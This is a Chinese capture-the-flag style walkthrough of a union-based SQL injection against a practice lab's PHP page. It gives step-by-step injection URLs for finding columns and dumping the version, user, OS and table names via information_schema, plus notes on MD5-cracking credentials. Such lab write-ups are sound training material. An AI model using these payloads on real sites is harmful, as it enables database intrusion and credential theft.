进入靶场
点击下方消息栏进入页面
测试有无注入点 http://219.153.49.228:46055/new_list.php?id=1asdasdasdasdasdas
页面与前者不同且未跳转404,则猜测有注入点
进行猜解列数
使用 order by x进行猜解
http://219.153.49.228:46055/new_list.php?id=1 order by x可得出列数为4
进行报错猜解,使网页回复显示位
http://219.153.49.228:46055/new_list.php?id=-1 union select 1,2,3,4
回显数据库版本和名字
http://219.153.49.228:46055/new_list.php?id=-1 union select 1,version,database(),4
回显数据库用户和操作系统
http://219.153.49.228:46055/new_list.php?id=-1 union select 1,user(),@@version_compile_os,4
查询指定数据库下的表名
http://219.153.49.228:46055/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询指定表名下的列名
查询数据
将得到的数据进行md5解密可得到密码
登入页面得到key
本次SQL注入所涉及知识点
- 在MySQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息
- 数据库中符号“.”代表下一级,如xiao.user表示xiao数据库下的user表名
- information_schema.tables:记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- table_name:表名
- column_name:列名
- table_schema:数据库名
- 数据库版本查询 version()
- 数据库名称查询 database()
- 数据库用户查询 user()
- 操作系统查询 @@version_compile_os()
- 显示所有数据 group_concat()
- 猜解多个数据 limit x,1